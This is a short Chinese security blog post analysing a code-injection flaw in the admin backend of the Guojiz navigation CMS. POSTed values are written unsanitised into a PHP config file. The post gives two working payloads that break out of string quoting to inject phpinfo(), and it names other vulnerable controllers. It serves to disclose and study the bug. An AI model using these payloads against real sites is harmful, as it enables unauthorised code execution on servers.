Web安全

Guojiz国际网址导航系统 后台写shell

Posted on 2020-11-12,2 min read

问题出在application/index/controller/index.php的cmspc方法

这里他接受了POST的值。一个数组。带入preg_replace进行正则替换。然后拼接字符串写入到文件中。
比如。我POST一个A=1。拼接结果如下

<?php return ['a'=>'1',]; 

那么。由于我们键值都可控。而正则没有过滤反斜杠。是否可以转义单引号呢。答案是可以的。结果如下

<?php return ['a'=>'1','\'=>'123',]; 

但是。这边成了'=>'123'了。多了个单引号咋办呢。这里可以配合0d和单行注释
\=.phpinfo()/*&*/];%0d//=123
结果如下

<?php return ['a'=>'1','\'=>'.phpinfo()/*','*/];
//'=>'123',]; 

还有一种办法。由于他接受的是POST数组。而preg_replace对数组。只会处理它的值。而不会处理键
那么可以利用键直接单引号闭合
\=.phpinfo(),/*&*/'=''

<?php return ['a'=>'1','\'=>'.phpinfo(),/*','*/''=>'',]; 

同理。这个CMS还有

application/admin/controller/Baidu.php
application/admin/controller/Config.php
application/admin/controller/Muban.php
application/admin/controller/Point.php

下一篇: 湖湘杯初赛内存取证(隐藏用户)→